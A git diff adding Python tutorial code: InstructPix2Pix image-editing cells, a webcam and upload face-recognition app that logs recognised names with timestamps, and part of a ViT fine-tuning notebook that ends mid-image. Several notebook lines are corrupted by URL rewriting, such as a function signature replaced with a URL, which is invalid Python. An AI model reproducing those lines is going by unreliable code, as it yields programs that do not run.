num_inference_steps=50, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.2).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.3).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.8).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=10).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=15).images +images[0] + +# %% + + +# %% +prompt = "turn the red wooden stick to brown" +images2 = pipe(prompt, image=images[0], num_inference_steps=10, image_guidance_scale=1).images +images2[0] + + diff --git a/machine-learning/edit-images-instruct-pix2pix/requirements.txt b/machine-learning/edit-images-instruct-pix2pix/requirements.txt new file mode 100644 index 00000000..8780d0fc --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/requirements.txt @@ -0,0 +1,6 @@ +diffusers +accelerate +transformers +torch +Pillow +safetensors \ No newline at end of file diff --git a/machine-learning/facial-recognition-system/README.md b/machine-learning/facial-recognition-system/README.md new file mode 100644 index 00000000..b7b0255e --- /dev/null +++ b/machine-learning/facial-recognition-system/README.md @@ -0,0 +1 @@ +# [How to Make a Facial Recognition System in Python](https://thepythoncode.com/article/create-a-facial-recognition-system-in-python) \ No newline at end of file diff --git a/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif b/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif new file mode 100644 index 00000000..0073f5d6 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif b/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif new file mode 100644 index 00000000..91a3619a Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/mane.jfif b/machine-learning/facial-recognition-system/TrainingImages/mane.jfif new file mode 100644 index 00000000..b36ddc1e Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/mane.jfif differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/messi.jpg b/machine-learning/facial-recognition-system/TrainingImages/messi.jpg new file mode 100644 index 00000000..722eba2c Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/messi.jpg differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/muhammad.PNG b/machine-learning/facial-recognition-system/TrainingImages/muhammad.PNG new file mode 100644 index 00000000..de32fc2d Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/muhammad.PNG differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/neymar.jpg b/machine-learning/facial-recognition-system/TrainingImages/neymar.jpg new file mode 100644 index 00000000..3c3f4682 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/neymar.jpg differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/obama.jfif b/machine-learning/facial-recognition-system/TrainingImages/obama.jfif new file mode 100644 index 00000000..30baa567 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/obama.jfif differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/ronaldo.jpg b/machine-learning/facial-recognition-system/TrainingImages/ronaldo.jpg new file mode 100644 index 00000000..26e569b5 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/ronaldo.jpg differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/villa.jfif b/machine-learning/facial-recognition-system/TrainingImages/villa.jfif new file mode 100644 index 00000000..2f302162 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/villa.jfif differ diff --git a/machine-learning/facial-recognition-system/facial_rec_image_upload.py b/machine-learning/facial-recognition-system/facial_rec_image_upload.py new file mode 100644 index 00000000..7d5cad6f --- /dev/null +++ b/machine-learning/facial-recognition-system/facial_rec_image_upload.py @@ -0,0 +1,113 @@ +import cv2, numpy as np, face_recognition, os, tkinter as tk +from tkinter import filedialog + +# Initialize empty lists to store images and people's names. +known_faces = [] +face_labels = [] + +# Get a list of all images in the TrainingImages directory. +image_files = os.listdir("TrainingImages") + +# Loop through the images in the directory. +for image_name in image_files: + # Read each image and add it to the known_faces list. + current_image = cv2.imread(f'TrainingImages/{image_name}') + known_faces.append(current_image) + + # Extract the person's name by removing the file extension and add it to the face_labels list. + face_labels.append(os.path.splitext(image_name)[0]) + + +# Function to get face encodings from a list of images. +def get_face_encodings(images): + encoding_list = [] + for image in images: + # Convert the image to RGB format. RGB is Red Green Blue. + image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + # Get the face encoding for the first face found in the image. + face_encoding = face_recognition.face_encodings(image)[0] + encoding_list.append(face_encoding) + return encoding_list + + +# Get face encodings for known images. +known_face_encodings = get_face_encodings(known_faces) + + +# Function to handle image selection and recognition +def select_and_recognize_image(): + # Use a file dialog to let the user select an image. + selected_file = filedialog.askopenfilename() + if selected_file: + # Read the selected image. + selected_image = cv2.imread(selected_file) + + # Convert the image to RGB format. + selected_image_rgb = cv2.cvtColor(selected_image, cv2.COLOR_BGR2RGB) + + # Get face encodings for the selected image. + selected_face_encodings = face_recognition.face_encodings(selected_image_rgb) + + match_found = False # Flag to track if a match is found. + + if not selected_face_encodings: + print("No faces found in the selected image.") + else: + # Loop through the detected faces in the selected image. + for face_encoding in selected_face_encodings: + # Compare the current face encoding with the known encodings. + matches = face_recognition.compare_faces(known_face_encodings, face_encoding) + face_distances = face_recognition.face_distance(known_face_encodings, face_encoding) + + # Find the index of the best match. That is, the best resemblance. + best_match_index = np.argmin(face_distances) + + if matches[best_match_index]: + # If a match is found, get the name of the recognized person. + recognized_name = face_labels[best_match_index].upper() + + # Draw a green rectangle around the recognized face. + top, right, bottom, left = face_recognition.face_locations(selected_image_rgb)[0] + cv2.rectangle(selected_image, (left, top), (right, bottom), (0, 255, 0), 2,) + + # Display the name below the face. + cv2.putText(selected_image, recognized_name, (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 0.5, + (0, 255, 0), 2) + + match_found = True # Match found flag. + break # Exit loop as soon as a match is found. + + if not match_found: + # If no match is found, draw a red rectangle and display No Match. + top, right, bottom, left = face_recognition.face_locations(selected_image_rgb)[0] + cv2.rectangle(selected_image, (left, top), (right, bottom), (0, 0, 255), 2) + cv2.putText(selected_image, "No match", (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 1, + (0, 0, 255), 2) + + # Show the image with the rectangle and name. + cv2.imshow("Recognized Image", selected_image) + known_faces.clear()# To prevent the program from slowing down due to excess unnecessary encodings. + cv2.waitKey(0) + cv2.destroyAllWindows() + + +# Create the main application window. +root = tk.Tk() +root.title("Face Recognition Program") + +# Create a button to select an image for recognition. +select_button = tk.Button(root, text="Select Image for Recognition", command=select_and_recognize_image) +select_button.pack(pady=10) + + +# Function to quit the application. +def quit_app(): + root.quit() + + +# Create a quit button to exit the application. +quit_button = tk.Button(root, text="Quit", command=quit_app) +quit_button.pack(pady=10) + +# Start the Tkinter event loop. +root.mainloop() diff --git a/machine-learning/facial-recognition-system/facial_rec_live_camera.py b/machine-learning/facial-recognition-system/facial_rec_live_camera.py new file mode 100644 index 00000000..689eac6a --- /dev/null +++ b/machine-learning/facial-recognition-system/facial_rec_live_camera.py @@ -0,0 +1,155 @@ +import tkinter as tk, numpy as np, cv2, os, face_recognition +from datetime import datetime + +# Initialize empty lists to store images and people's names. +known_faces = [] +face_labels = [] + +# Get a list of all images in the TrainingImages directory. +image_files = os.listdir("TrainingImages") + +# Loop through the images in the directory. +for image_name in image_files: + # Read each image and add it to the known_faces list. + current_image = cv2.imread(f'TrainingImages/{image_name}') + known_faces.append(current_image) + + # Extract the person's name by removing the file extension and add it to the face_labels list. + face_labels.append(os.path.splitext(image_name)[0]) + + +# Function to get face encodings from a list of images. +def get_face_encodings(images): + encoding_list = [] + for image in images: + # Convert the image to RGB format. RGB is Red Green Blue. + image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + # Get the face encoding for the first face found in the image. + face_encoding = face_recognition.face_encodings(image)[0] + encoding_list.append(face_encoding) + return encoding_list + + +# Define a function to document the recognized face. +def document_recognised_face(name, filename='records.csv'): + # Get the current date in the YYYY-MM-DD format. + capture_date = datetime.now().strftime("%Y-%m-%d") + + # Check if the specified CSV file exists. + if not os.path.isfile(filename): + # If the file doesn't exist, create it and write the header. + with open(filename, 'w') as f: + f.write('Name,Date,Time') # Create the file and write the header. + + # Open the CSV file for reading and writing ('r+') + with open(filename, 'r+') as file: + # Read all lines from the file into a list. + lines = file.readlines() + + # Extract the names from existing lines in the CSV. + existing_names = [line.split(",")[0] for line in lines] + + # Check if the provided name is not already in the existing names. + if name not in existing_names: + # Get the current time in the HH:MM:SS format. + now = datetime.now() + current_time = now.strftime("%H:%M:%S") + + # Write the new entry to the CSV file including name, capture date, and time. + file.write(f'\n{name},{capture_date},{current_time}') + + +# Get face encodings for known images. +known_face_encodings = get_face_encodings(known_faces) + + +# Function to start the Facial recognition program. +def start_recognition_program(): + # Open a webcam for capturing video. If you are using your computer's webcam, change 1 to 0. + # If using an external webcam, leave it as 1. + video_capture = cv2.VideoCapture(1) + + while True: + # Read a frame from the webcam. + frame = video_capture.read() + + # Check if the frame is not None (indicating a successful frame capture). + if frame is not None: + frame = frame[1] # The frame is usually the second element of the tuple returned by video_capture.read(). + + # Resize the image to a smaller size. + resized_frame = cv2.resize(frame, (0, 0), None, 0.25, 0.25) + resized_frame = cv2.cvtColor(resized_frame, cv2.COLOR_BGR2RGB) + + # Detect faces in the current frame. + face_locations = face_recognition.face_locations(resized_frame) + + # Get face encodings for the faces detected in the current frame. + current_face_encodings = face_recognition.face_encodings(resized_frame, face_locations) + + # Loop through the detected faces in the current frame. + for face_encoding, location in zip(current_face_encodings, face_locations): + # Compare the current face encoding with the known encodings. + matches = face_recognition.compare_faces(known_face_encodings, face_encoding) + face_distances = face_recognition.face_distance(known_face_encodings, face_encoding) + + # Find the index of the best match. That is, the best resemblance. + best_match_index = np.argmin(face_distances) + + if matches[best_match_index]: + # If a match is found, get the name of the recognized person. + recognized_name = face_labels[best_match_index].upper() + + # Extract face location coordinates. + top, right, bottom, left = location + top, right, bottom, left = top * 4, right * 4, bottom * 4, left * 4 + + # Draw a rectangle around the recognized face. + cv2.rectangle(frame, (left, top), (right, bottom), (0, 255, 0), 2) + + # Draw a filled rectangle and display the name above the face. + cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 255, 0), cv2.FILLED) + cv2.putText(frame, recognized_name, (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 1, + (255, 255, 255), 2) + document_recognised_face(recognized_name) + + # Display the image with recognized faces. + cv2.imshow("Webcam", frame) + + # Check for key press + key = cv2.waitKey(1) & 0xFF + + # Check if the 'q' key is pressed to exit the program. + if key == ord('q'): + break + + # Release the video capture and close all OpenCV windows. + video_capture.release() + cv2.destroyAllWindows() + + +# Create the main application window. +root = tk.Tk() +root.title("Face Recognition Program") + +# Create a label +label = tk.Label(root, text="Click the button to start the facial recognition program") +label.pack(pady=10) + +# Create a button to start the program +start_button = tk.Button(root, text="Start Recognition", command=start_recognition_program) +start_button.pack(pady=10) + + +# Function to quit the application. This is for quitting the entire program. To quit the webcam stream, hit q. +def quit_app(): + root.quit() + cv2.destroyAllWindows() + + +# Create a quit button to exit the application. +exit_button = tk.Button(root, text="Close", command=quit_app) +exit_button.pack(pady=10) + +# Start the Tkinter event loop. +root.mainloop() diff --git a/machine-learning/facial-recognition-system/requirements.txt b/machine-learning/facial-recognition-system/requirements.txt new file mode 100644 index 00000000..bcf5e075 --- /dev/null +++ b/machine-learning/facial-recognition-system/requirements.txt @@ -0,0 +1,4 @@ +cmake +dlib==19.18.0 +face-recognition +opencv-python \ No newline at end of file diff --git a/machine-learning/finetuning-vit-image-classification/FineTuningViTForImageClassification_PythonCodeTutorial.ipynb b/machine-learning/finetuning-vit-image-classification/FineTuningViTForImageClassification_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..abc2e9e7 --- /dev/null +++ b/machine-learning/finetuning-vit-image-classification/FineTuningViTForImageClassification_PythonCodeTutorial.ipynb @@ -0,0 +1,7356 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "7LhpxluXAy0g" + }, + "outputs": [], + "source": [ + "!pip install transformers evaluate datasets" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "eBq4mm7cA4Cp" + }, + "outputs": [], + "source": [ + "import requests\n", + "import torch\n", + "from PIL import Image\n", + "from transformers import *\n", + "from tqdm import tqdm\n", + "\n", + "device = \"cuda\" if torch.cuda.is_available() else \"cpu\"" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "JlLN5LTVA5eJ" + }, + "outputs": [], + "source": [ + "# the model name\n", + "model_name = \"google/vit-base-patch16-224\"\n", + "# load the image processor\n", + "image_processor = ViTImageProcessor.from_pretrained(model_name)\n", + "# loading the pre-trained model\n", + "model = ViTForImageClassification.from_pretrained(model_name).to(device)" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "id": "B5z-Sqz4BiPQ" + }, + "outputs": [], + "source": [ + "import urllib.parse as parse\n", + "import os\n", + "\n", + "# a function to determine whether a string is a URL or not\n", + "def is_url(https://github.com/string):\n", + " try:\n", + " result = parse.urlparse(string)\n", + " return all([result.scheme, result.netloc, result.path])\n", + " except:\n", + " return False\n", + " \n", + "# a function to load an image\n", + "def load_image(image_path):\n", + " if is_url(https://github.com/image_path):\n", + " return Image.open(requests.get(image_path, stream=True).raw)\n", + " elif os.path.exists(image_path):\n", + " return Image.open(image_path)" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "id": "MgfKn08vByse" + }, + "outputs": [], + "source": [ + "def get_prediction(model, url_or_path):\n", + " # load the image\n", + " img = load_image(url_or_path)\n", + " # preprocessing the image\n", + " pixel_values = image_processor(img, return_tensors=\"pt\")[\"pixel_values\"].to(device)\n", + " # perform inference\n", + " output = model(pixel_values)\n", + " # get the label id and return the class name\n", + " return model.config.id2label[int(output.logits.softmax(dim=1).argmax())]" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": { + "id": "q8n-To7RsyPx", + "colab": { + "base_uri": "https://localhost:8080/", + "height": 35 + }, + "outputId": "aa4a7cbb-7411-4822-f3b3-e383b6396809" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "'Indian elephant, Elephas maximus'" + ], + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + } + }, + "metadata": {}, + "execution_count": 6 + } + ], + "source": [ + "get_prediction(model, \"http://images.cocodataset.org/test-stuff2017/000000000128.jpg/")" + ] + }, + { + "cell_type": "markdown", + "source": [ + "# Loading our Dataset" + ], + "metadata": { + "id": "suO4z5NCDU8v" + } + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "id": "SlxPT1XaD9VV", + "colab": { + "base_uri": "https://localhost:8080/", + "height": 392, + "referenced_widgets": [ + "394913b4097b46a7984797f5d1deaaff", + "d7ac86078f0c4c7da2f137ad1ac478b3", + "cc9c87b095054301a8f910ad3a2cf1a5", + "c39369786d8843cda8dd4bfc116f42bf", + "dc110e5887304c40941cdd68163a4013", + "de81d798249b48c396d64575bad2c358", + "40687f7092f94f92a50e4d83c7147f2a", + "2c20eadf22c545a182bec19a81b3d99a", + "7086056225a44a7fb99f14d9d0a1f4cc", + "fe7fbb909b154a4eaf05a906dd2a9c78", + "05ea400f1d864062bacb4e3a69312b4c", + "d6e7d1b10c7d4f5daa699d507c11f2d4", + "b778df9b11374c55ab77e6df61464af9", + "0f5c260e80444e38ab3b3cd8b984b9b5", + "a75144c534ac462487e2ee23e69ff6d6", + "b3b818659e20499e97e1dcfadac5bdb2", + "3f06b0e7f671425a84a8ba1eee6b91b4", + "ca6bcd38cf654331a5cc2a30f6b1eb60", + "2a03ed298064406986a3926002e01c50", + "ad45516b83064a2fb2bfb1b6b4e4a6cc", + "493247940d1f4a1b9f540648539ee570", + "bf4f4937407e4ff8b99e12a80df51bbf", + "df26988483374f13b3f5b5249885314e", + "741faf1f52434dc1a50f8f87222d03f9", + "c0e1947fff7545a2905b351ca3a37aa7", + "ecaf20f7678f4c369c87159eebd764c5", + "9f94bd441f5143d09de8e1a2eaaaef47", + "47f36484127b476eb6188c4aea4bdee3", + "f856eaad87464418971522512a6a49f7", + "6be3d46ddb524492b317001c7f2327b8", + "7ff1fe3c688d4b4a9dbd29802bd37a6f", + "e1ffbf12e5c84a6598375408de9664bb", + "64b5417ebc974e199543379ef725d1c8", + "82acbc3424b14a3583b58739b556045e", + "ce51e61458384578b179cac6fd5afaba", + "97c3a7df99234301af2afbe263071006", + "11b963fc16c14db1b2739fc1ee5d891b", + "21643d4f04384d738a3a60dbd22989bf", + "048ff92d3dd94d11a8cbfa850f685113", + "96a3a22da4734c9695730d08a19a0a23", + "919af07ec8a44e2e992b7aa4fd995ab9", + "cd5bea65a88948bd8650bbf04e4e1426", + "baca3a29ad0f4b5e8a5b1980337b30bc", + "6b548b8a9ceb4f31b913196c87c1afae", + "27228900fcc64b8e976c7cf674365f5e", + "c081fea03098454ea2b7d58fa7cf44c4", + "7429695252fb431593a5716dca6df965", + "266cbfbc75c94b888682b24e7c72dfa7", + "93f772daaff14419a2d4dba53771c832", + "542f4c77c6754aecb778cc22775ceb9b", + "078e919df7e244408b32f1a988975238", + "258f358dcafc49de94bd56fb8673c814", + "d0f398fcac5741698b0ffb9ffa06d570", + "90b7882f5c6f4495b2d5e60bff88f2e2", + "02a3804cfb644596845bd94d485842b3", + "3a90127f102749d49dc707462fa1493c", + "fd48f90d37264a068726b5bb831f0e92", + "6f1fc0ddf59941af8a8de728f69f13a9", + "cc579e347402418fb3a56a9721608c2f", + "7656a7c366d84f868cfbe1fe078005b8", + "68cc9adc5ffd4bd7b7603f523c799bdb", + "04bd3974f26d4fc286d011eaabb4a00f", + "16ca0d5112a84f7badd1ae6897871981", + "905b964876754e62bb806d6d46dc2be2", + "fe5cb317415544f2a9e66936e90a292a", + "43f04b940546468eaea59dcca38a00aa", + "c85eb3cb9e364d65bf81da8d8695384d", + "37705344130d4089845dfd50b66a2eca", + "ec688e6024494c149700188621c7a28f", + "a209766c96454174a5ca2571cc2821dc", + "38983df51690455397d3c3e95b512024", + "8fe4d9d70fc34de19885c5b423cc635d", + "05aba2b03a9a445b911b57a80f977e28", + "d07eee50d63249ce8c888abbbd85d7f7", + "722edf64d41d420194d108bd34d1e6b4", + "7732563834ed46dd8e19e520674f6cac", + "69be31cf3de941c4bf06a4e6359f387d", + "59228c17fb39460aa14997c501c4c528", + "d39827e795f9429cb64945e1502a921e", + "ada54ada913c4f4089eee58693114187", + "b20d87aa3e3a4d92b341430f99b6b024", + "81305cbb90c14bc786948bb44dbf526c", + "3e91f992f5b54955ab60166a40a987e5", + "f241423e2fa04e7892b6eb47d2e2dceb", + "c663a31f4e6d4ac09c87af993cca9d42", + "1a2e6f5312a447098815e440921e8300", + "d68f6fe6a47a4092b0b723814cdf1cf9", + "5a6861eb4b9146528fa37592cc731b78", + "0acd2ec0c2a64e2997230aee8d6b9ef3", + "01f46ddb169f4502877985907b2e1e79", + "1512e241a3d64139b425a3455d296dea", + "4f037323ba2b42b98690f3d91334396d", + "aabbc7f40589421da8bbc8db5d60e77c", + "0fbacc4d6aba42e78c9860211748a856", + "10f639dda72d4b7d90c62818a72228af", + "5dd098e322264b2394134b40b7911cc1", + "1594e53020c44d53a034a61849f78dcc", + "5840ce91a0444924b6c4163e69ae27e4", + "63a3932c41294fa29ef2c7f15778bed6", + "dfae6990fa884f9fa6f4c87c066ee755", + "321a0e1e91b64e0dad1d477a2c43e23e", + "32e54fe28f2f4cccaff447ce9ef7c06f", + "2b14498cf8b0494e9e2e0811b46f54bb", + "674e9f6cc69449cfba4945405595d701", + "220d07d0e921487ab80efddc00fc2266", + "b9522ba2b7224356853cb6a7aad3ac9c", + "34a8a32af56f4a1fb533c10cf9fb19df", + "d2124b2edfcd4a13ab43c80e8c47c370", + "df00071dc70c4876a173d05fd3d69cc5", + "85b91e440a6c49ccabd656bf7f0aa460" + ] + }, + "outputId": "0e11acb7-06a8-4c22-815f-446cae5c0e83" + }, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "Downloading builder script: 0%| | 0.00/6.21k [00:00" + ], + "image/png": "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